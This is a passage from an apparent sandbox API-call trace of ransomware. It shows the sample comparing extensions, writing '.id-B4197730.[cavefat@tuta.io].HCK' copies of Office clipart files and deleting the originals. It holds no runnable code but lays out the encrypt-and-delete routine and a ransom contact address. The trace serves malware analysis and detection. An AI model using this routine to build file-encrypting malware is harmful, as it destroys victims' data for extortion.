Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.197] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0230.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0230.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0230.208] lstrlenW (lpString=".doc") returned 4 [0230.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.208] lstrlenW (lpString=".docx") returned 5 [0230.208] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0230.208] lstrlenW (lpString=".pdf") returned 4 [0230.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.218] lstrlenW (lpString=".xls") returned 4 [0230.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.218] lstrlenW (lpString=".xlsx") returned 5 [0230.218] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0230.218] lstrlenW (lpString=".ppt") returned 4 [0230.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0230.218] lstrlenW (lpString=".zip") returned 4 [0230.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.218] lstrlenW (lpString=".rar") returned 4 [0230.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.227] lstrlenW (lpString=".bz2") returned 4 [0230.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.227] lstrlenW (lpString=".7z") returned 3 [0230.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0230.227] lstrlenW (lpString=".dbf") returned 4 [0230.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0230.227] lstrlenW (lpString=".1cd") returned 4 [0230.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0230.227] lstrlenW (lpString=".jpg") returned 4 [0230.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0230.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0230.227] lstrlenW (lpString=".doc") returned 4 [0230.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.227] lstrlenW (lpString=".docx") returned 5 [0230.227] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0230.227] lstrlenW (lpString=".pdf") returned 4 [0230.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.227] lstrlenW (lpString=".xls") returned 4 [0230.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.227] lstrlenW (lpString=".xlsx") returned 5 [0230.227] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0230.227] lstrlenW (lpString=".ppt") returned 4 [0230.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0230.227] lstrlenW (lpString=".zip") returned 4 [0230.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.227] lstrlenW (lpString=".rar") returned 4 [0230.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.228] lstrlenW (lpString=".bz2") returned 4 [0230.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.228] lstrlenW (lpString=".7z") returned 3 [0230.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0230.228] lstrlenW (lpString=".dbf") returned 4 [0230.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0230.228] lstrlenW (lpString=".1cd") returned 4 [0230.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0230.228] lstrlenW (lpString=".jpg") returned 4 [0230.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.228] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0230.228] lstrlenW (lpString="J0103402.WMF") returned 12 [0230.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0230.229] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=44948) returned 1 [0230.229] CloseHandle (hObject=0x454) returned 1 [0230.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 0x220 [0230.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0230.230] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.230] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0230.230] GetLastError () returned 0x0 [0230.230] ReadFile (in: hFile=0x454, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0xaf94, lpOverlapped=0x0) returned 1 [0230.232] WriteFile (in: hFile=0x548, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xafa0, lpOverlapped=0x0) returned 1 [0230.234] ReadFile (in: hFile=0x454, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.234] WriteFile (in: hFile=0x548, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.234] SetEndOfFile (hFile=0x548) returned 1 [0230.234] CloseHandle (hObject=0x548) returned 1 [0230.234] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.234] SetEndOfFile (hFile=0x454) returned 1 [0230.236] CloseHandle (hObject=0x454) returned 1 [0230.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0230.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0230.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0230.237] lstrlenW (lpString=".doc") returned 4 [0230.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.237] lstrlenW (lpString=".docx") returned 5 [0230.237] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0230.237] lstrlenW (lpString=".pdf") returned 4 [0230.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.237] lstrlenW (lpString=".xls") returned 4 [0230.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.237] lstrlenW (lpString=".xlsx") returned 5 [0230.237] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0230.237] lstrlenW (lpString=".ppt") returned 4 [0230.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0230.238] lstrlenW (lpString=".zip") returned 4 [0230.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.238] lstrlenW (lpString=".rar") returned 4 [0230.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.238] lstrlenW (lpString=".bz2") returned 4 [0230.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.238] lstrlenW (lpString=".7z") returned 3 [0230.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0230.238] lstrlenW (lpString=".dbf") returned 4 [0230.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0230.238] lstrlenW (lpString=".1cd") returned 4 [0230.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0230.238] lstrlenW (lpString=".jpg") returned 4 [0230.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0230.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0230.238] lstrlenW (lpString=".doc") returned 4 [0230.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.238] lstrlenW (lpString=".docx") returned 5 [0230.238] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0230.238] lstrlenW (lpString=".pdf") returned 4 [0230.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.238] lstrlenW (lpString=".xls") returned 4 [0230.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.238] lstrlenW (lpString=".xlsx") returned 5 [0230.238] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0230.238] lstrlenW (lpString=".ppt") returned 4 [0230.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0230.238] lstrlenW (lpString=".zip") returned 4 [0230.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.238] lstrlenW (lpString=".rar") returned 4 [0230.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.238] lstrlenW (lpString=".bz2") returned 4 [0230.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.238] lstrlenW (lpString=".7z") returned 3 [0230.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0230.238] lstrlenW (lpString=".dbf") returned 4 [0230.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0230.238] lstrlenW (lpString=".1cd") returned 4 [0230.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0230.238] lstrlenW (lpString=".jpg") returned 4 [0230.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.239] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0230.239] lstrlenW (lpString="J0103812.WMF") returned 12 [0230.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0230.239] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=5908) returned 1 [0230.239] CloseHandle (hObject=0x454) returned 1 [0230.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 0x220 [0230.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0230.240] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.240] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0230.241] GetLastError () returned 0x0 [0230.241] ReadFile (in: hFile=0x454, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x1714, lpOverlapped=0x0) returned 1 [0230.242] WriteFile (in: hFile=0x548, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1720, lpOverlapped=0x0) returned 1 [0230.242] ReadFile (in: hFile=0x454, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.243] WriteFile (in: hFile=0x548, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.243] SetEndOfFile (hFile=0x548) returned 1 [0230.243] CloseHandle (hObject=0x548) returned 1 [0230.243] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.243] SetEndOfFile (hFile=0x454) returned 1 [0230.245] CloseHandle (hObject=0x454) returned 1 [0230.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0230.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0230.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0230.246] lstrlenW (lpString=".doc") returned 4 [0230.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.246] lstrlenW (lpString=".docx") returned 5 [0230.246] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0230.246] lstrlenW (lpString=".pdf") returned 4 [0230.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.246] lstrlenW (lpString=".xls") returned 4 [0230.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.246] lstrlenW (lpString=".xlsx") returned 5 [0230.246] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0230.246] lstrlenW (lpString=".ppt") returned 4 [0230.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0230.246] lstrlenW (lpString=".zip") returned 4 [0230.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.246] lstrlenW (lpString=".rar") returned 4 [0230.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.247] lstrlenW (lpString=".bz2") returned 4 [0230.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.247] lstrlenW (lpString=".7z") returned 3 [0230.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0230.247] lstrlenW (lpString=".dbf") returned 4 [0230.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0230.247] lstrlenW (lpString=".1cd") returned 4 [0230.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0230.247] lstrlenW (lpString=".jpg") returned 4 [0230.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0230.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0230.247] lstrlenW (lpString=".doc") returned 4 [0230.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.247] lstrlenW (lpString=".docx") returned 5 [0230.247] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0230.247] lstrlenW (lpString=".pdf") returned 4 [0230.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.247] lstrlenW (lpString=".xls") returned 4 [0230.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.247] lstrlenW (lpString=".xlsx") returned 5 [0230.247] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0230.247] lstrlenW (lpString=".ppt") returned 4 [0230.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0230.247] lstrlenW (lpString=".zip") returned 4 [0230.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.247] lstrlenW (lpString=".rar") returned 4 [0230.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.247] lstrlenW (lpString=".bz2") returned 4 [0230.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.247] lstrlenW (lpString=".7z") returned 3 [0230.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0230.247] lstrlenW (lpString=".dbf") returned 4 [0230.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0230.247] lstrlenW (lpString=".1cd") returned 4 [0230.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0230.247] lstrlenW (lpString=".jpg") returned 4 [0230.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.247] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0230.248] lstrlenW (lpString="J0103850.WMF") returned 12 [0230.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0230.248] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=23596) returned 1 [0230.248] CloseHandle (hObject=0x454) returned 1 [0230.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 0x220 [0230.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0230.249] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.249] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0230.250] GetLastError () returned 0x0 [0230.250] ReadFile (in: hFile=0x454, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x5c2c, lpOverlapped=0x0) returned 1 [0230.252] WriteFile (in: hFile=0x548, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x5c30, lpOverlapped=0x0) returned 1 [0230.252] ReadFile (in: hFile=0x454, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.252] WriteFile (in: hFile=0x548, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.253] SetEndOfFile (hFile=0x548) returned 1 [0230.253] CloseHandle (hObject=0x548) returned 1 [0230.253] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.253] SetEndOfFile (hFile=0x454) returned 1 [0230.255] CloseHandle (hObject=0x454) returned 1 [0230.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0230.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0230.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0230.256] lstrlenW (lpString=".doc") returned 4 [0230.256] lstrcmpiW (lpString1=".doc", 